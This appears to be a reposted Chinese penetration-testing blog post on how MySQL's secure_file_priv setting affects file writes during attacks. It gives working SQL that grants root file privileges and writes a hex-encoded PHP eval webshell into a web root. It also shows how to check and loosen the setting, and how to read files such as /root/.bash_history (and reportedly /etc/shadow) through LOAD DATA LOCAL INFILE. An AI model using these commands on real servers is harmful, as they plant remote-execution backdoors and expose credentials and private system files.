MYSQL新特性secure_file_priv对读写文件的影响

2019-04-04 约 460 字 预计阅读 1 分钟

声明:本文 【MYSQL新特性secure_file_priv对读写文件的影响】 由作者 pt007 于 2018-04-19 12:02:35 首发 先知社区 曾经 浏览数 2345 次

感谢 pt007 的辛苦付出!

在渗透测试的时候,我们使用into outfile快速写入一句话后门时经常会出现写入不了的情况:
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;

不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
//查看配置项:
SHOW VARIABLES LIKE "secure_file_priv"

//如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '

//限制mysqld 不允许导入 | 导出:
mysqld --secure_file_prive=null

//限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
mysqld --secure_file_priv=/tmp/

//不对mysqld 的导入 | 导出做限制:
cat /etc/my.cnf
[mysqld]
secure_file_priv=

//如果没有权限,mysql还有个低权限读文件漏洞,/etc/shadow /root/.bash_history都可以读出来,下面语句测试成功 for MYSQL 5.5.53:
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
select * from mysql.m1

关键词:[‘安全技术’, ‘技术讨论’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now